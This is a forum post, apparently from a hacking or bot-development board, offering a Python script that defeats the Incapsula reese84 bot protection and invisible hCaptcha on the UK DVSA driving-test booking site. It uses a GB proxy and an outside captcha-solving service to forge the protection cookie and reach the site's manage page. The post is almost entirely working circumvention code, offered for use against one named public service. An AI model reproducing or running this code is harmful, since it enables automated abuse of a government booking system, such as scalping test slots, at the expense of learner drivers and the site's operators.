ALERT!
Click here to register with a few steps and explore all our cool stuff we have to offer!
Other languages

driverpracticaltest.dvsa.gov.uk login source, has been solved new incapsula reese84

Submitted by sysdemo at 10-08-2025, 02:05 PM


driverpracticaltest.dvsa.gov.uk login source, has been solved new incapsula reese84
336 Views
sysdemo's Avatar'
sysdemo
Offline
#1
[ Hidden Content! ]

Code:
import base64
from weakref import proxy
import requests
import json
import sys
import re
from urllib.parse import urljoin

# api config on https://www.clearcaptcha.com

main_host="http://api.clearcaptcha.com"
endpoint_hcap=main_host+"/captcha/hcaptcha_stable";
endpoint_inscap=main_host+"/captcha/incapsula_reese84_sub";
token = 'test'
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
proxy='pkg-test-country-GB-session-SESSID-ttl-3:[email protected]:5555'
session = requests.Session()
session.proxies.update({
    "all":"http://"+proxy    
})
response=session.get("http://ipinfo.io")
print(response.text)
headers = {
     "Accept-Encoding": "gzip",
    "Accept-Language": "en-US,en;q=0.9",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Connection": "keep-alive",
    "sec-ch-ua": '"Not(A:Brand";v="99", "Google Chrome";v="138", "Chromium";v="138"',
    "sec-ch-ua-mobile": "?0",
    "sec-ch-ua-platform": '"Windows"',
    "Upgrade-Insecure-Requests": "1",
    "User-Agent": user_agent,
    "Sec-Fetch-Site": "none",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-User": "?1",
    "Sec-Fetch-Dest": "document",
    "referer": "https://driverpracticaltest.dvsa.gov.uk/manage"
}


response = session.get("https://driverpracticaltest.dvsa.gov.uk/manage",headers=headers)
res_html=response.text

match = re.search(r'scriptElement\.src = ["\']([^"\']+)["\']', res_html)
if match:
    jsurl = match.group(1)
    jsurl = urljoin("https://driverpracticaltest.dvsa.gov.uk", jsurl)
    print("fount jsurl:", jsurl)
else:
    print("not fount jsurl")
    sys.exit()

post_data='{"f":"gpc"}'
headers["Content-Type"]="text/plain; charset=utf-8"
response = requests.post(jsurl, data=post_data,headers=headers)
    
post_data = {
    "token": token,
    "jsurl": jsurl,
    "user_agent": user_agent,
    "pow":response.text.strip('"')
}

response = requests.post(endpoint_inscap, data=post_data)
if '"code":200' not in response.text:
    print({"error": "api error","status_code": response.status_code,"response": response.text})
    sys.exit()

response_data=response.json()
if response_data['code']!=200:
    print(response.text)
    sys.exit()

post_data=response_data['data']['post_data']
headers["Content-Type"]="text/plain; charset=utf-8"
response = requests.post(jsurl, data=post_data,headers=headers)
if response.status_code != 200:
    print({"error": "api error","status_code": response.status_code,"response": response.text})
    sys.exit()
response_data = response.json()
reese84=response_data['token']
session.cookies.set("reese84", reese84,domain="driverpracticaltest.dvsa.gov.uk",path="/")

response = session.get("https://driverpracticaltest.dvsa.gov.uk/manage",headers=headers)
res_html=response.text
if 'Request unsuccessful.' not in res_html:
    print({"error": "api error","status_code": response.status_code,"response": response.text})
    sys.exit()
    
match = re.search(r'<iframe[^>]+src=["\']([^"\']+)["\']', res_html)
if match:
    relative_url = match.group(1)
    incap_url = urljoin("https://driverpracticaltest.dvsa.gov.uk", relative_url)
    print("fount url:", incap_url)
else:
    print("not fount url")
    sys.exit(0)
    
response = session.get(incap_url,headers=headers)
res_html=response.text

match = re.search(r'xhr\.open\(\s*["\']POST["\']\s*,\s*["\']([^"\']+)["\']', res_html)
if match:
    relative_url = match.group(1)
    post_url = urljoin("https://driverpracticaltest.dvsa.gov.uk", relative_url)
    print("fount url:", post_url)
else:
    print("not fount post_url")
    sys.exit(0)
    
post_data=f'"{reese84}"'
headers["Content-Type"]="text/plain; charset=utf-8"
response = session.post("https://driverpracticaltest.dvsa.gov.uk/nions-to-vnse-the-Bewarfish-so-like-here-hoa-Mon?d=driverpracticaltest.dvsa.gov.uk",data=post_data,headers=headers)
if response.status_code != 200:
    print({"error": "api error","status_code": response.status_code,"response": response.text})
    sys.exit()
response_data = response.json()
reese84=response_data['token']
session.cookies.set("reese84", reese84,domain="driverpracticaltest.dvsa.gov.uk",path="/")
    
post_data = {
    "token": token,
    "referer": "https://driverpracticaltest.dvsa.gov.uk/manage",
    "sitekey": "e94865c2-4231-4c25-9c6e-2b797b2b56cf",
    "user_agent": user_agent,
    "is_invisible": True,
}

max_retries = 10
retry_count = 0
while retry_count < max_retries:
    response = requests.post(endpoint_hcap, data=post_data, verify=False)

    if response.status_code != 200:
        print({"error": "api error", "status_code": response.status_code, "response": response.text})
        sys.exit()

    response_data = response.json()

    if response_data['code'] != 200:
        print("Retrying request due to error:", response.text)
        retry_count += 1
        continue  
    else:
        print("Request successful!")
        break  
if retry_count == max_retries:
    print("Maximum retry attempts reached. Exiting.")
    sys.exit()
    
generated_pass_UUID=response_data['data']['generated_pass_UUID']
#user_agent=response_data['data']['user_agent']


post_data = {
    "g-recaptcha-response": generated_pass_UUID,
}

headers["User-Agent"]=user_agent
headers["Content-Type"]="application/x-www-form-urlencoded"
response = session.post(post_url,data=post_data,headers=headers)
print(response.text)
if response.status_code != 200:
    print({"error": "api error","status_code": response.status_code,"response": response.text})
    sys.exit()

response = session.get("https://driverpracticaltest.dvsa.gov.uk/manage",headers=headers)
print({"info": "api response","status_code": response.status_code,"response": response.text})

0
Reply


Messages In This Thread
driverpracticaltest.dvsa.gov.uk login source, has been solved new incapsula reese84 - by sysdemo - 10-08-2025, 02:05 PM


Users browsing this thread: 1 Guest(s)